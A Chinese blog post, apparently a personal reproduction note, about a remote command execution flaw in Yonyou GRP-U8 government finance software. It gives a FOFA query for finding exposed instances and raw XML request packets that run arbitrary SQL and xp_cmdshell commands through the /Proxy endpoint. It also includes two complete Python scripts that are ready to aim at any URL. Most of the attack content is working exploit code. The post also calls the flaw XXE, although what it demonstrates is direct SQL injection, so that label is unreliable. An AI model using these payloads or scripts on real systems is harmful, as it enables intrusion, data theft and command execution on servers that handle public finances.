用友GRP-u8 注入-RCE漏洞

本文介绍用友GRP-U8财务管理软件中存在的XXE漏洞,详细展示了如何通过构造特定XML数据包来实现SQL注入及命令执行的过程,并提供了Python POC验证代码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

用友GRP-u8 注入-RCE漏洞

工作中遇到的漏洞,基于前人的复现教程成功复现,记录下自己的复现笔记,如有侵权,请联系我删除

漏洞详情

用友GRP-U8R10行政事业财务管理软件是用友公司专注于国家电子政务事业,基于云计算技术所推出的新一代产品,是我国行政事业财务领域最专业的政府财务管理软件。
在这里插入图片描述

该系统被曝存在XXE漏洞,该漏洞源于应用程序解析XML输入时没有进制外部实体的加载,导致可加载恶意外部文件。最终产生两种后果,一是可以进行SQL注入,执行SQL语句;二是导致命令执行,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

漏洞复现

用友GRP-u8 XXE漏洞(XML External Entity-XML外部实体注入)

fofa搜索语句 title=“GRP-U8”
1、使用hackbar POST方式上传数据包,BrupSuite进行抓包;
漏洞位置:

http://ip:port/Proxy
u8qx/Tindex.jsp

在这里插入图片描述
2、抓包后,修改数据包,插入XML语句,这里是执行了sql语句(没必要排版,直接有数据就行,我只是为了好看)

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?>
<R9PACKET version="1">
<DATAFORMAT>XML</DATAFORMAT>
	<R9FUNCTION> 
		<NAME>AS_DataRequest</NAME>
		<PARAMS><PARAM> 
		<NAME>ProviderName</NAME>
		<DATA format="text">DataSetProviderData</DATA>
		</PARAM><PARAM> 
		<NAME>Data</NAME>
		<DATA format="text">select user,db_name(),host_name(),@@version</DATA>
		</PARAM></PARAMS> 
	</R9FUNCTION>
</R9PACKET>

在这里插入图片描述
3、改为利用sql server命令执行

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?>
<R9PACKET version="1">
	<DATAFORMAT>XML</DATAFORMAT>
	<R9FUNCTION> 
		<NAME>AS_DataRequest</NAME>
		<PARAMS><PARAM> 
		<NAME>ProviderName</NAME>
		<DATA format="text">DataSetProviderData</DATA>
		</PARAM><PARAM> 
		<NAME>Data</NAME>
		<DATA format="text">exec xp_cmdshell 'dir'</DATA> 
		</PARAM></PARAMS>
	</R9FUNCTION>
</R9PACKET>

在这里插入图片描述
4、使用POC验证结果
在这里插入图片描述

Python POC 源代码

GRP-U8_SQLinjection_POC

#!/usr/bin/env python2
#coding:utf-8
import re
import requests
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
if len(sys.argv) != 3:
    print "Usage: python poc.py url sql"
    sys.exit(1)
url = sys.argv[1]
sql = sys.argv[2]
headers = {
	"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36",
	"Content-Type":"application/x-www-form-urlencoded",
}
def poc(url,sql):
	url = url + '/Proxy'
	print url
	data = 'cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">'+sql+'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>'
	res = requests.post(url,headers=headers,data=data)
	res = res.text
	result_row = r'<ROW COLUMN1="(.*?)"'
	ROW = re.findall(result_row,res,re.S | re.M)
	print '查询成功!'
	print ROW[0]
if __name__ == "__main__":
    poc(sys.argv[1],sys.argv[2])

GRP-U8_SQLinjection_EXP

#!/usr/bin/env python2
#coding:utf-8
import re
import requests
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
if len(sys.argv) != 3:
    print "Usage: python exp.py url cmd"
    sys.exit(1)
url = sys.argv[1]
cmd = sys.argv[2]
headers = {
	"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36",
	"Content-Type":"application/x-www-form-urlencoded",
}
def exp(url,cmd):
	url = url+ '/Proxy'
	print url
	data = 'cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell \''+cmd+'\'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>'
	res = requests.post(url,headers=headers,data=data)
	res = res.text
	result_row = r'<ROW output="(.*?)" />'
	ROW = re.findall(result_row,res,re.S | re.M)
	print '命令执行成功!'
	for i in range(len(ROW)):
		print ROW[i]
if __name__ == "__main__":
    exp(sys.argv[1],sys.argv[2])

参考文章

https://blog.youkuaiyun.com/weixin_44146996/article/details/109863346

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值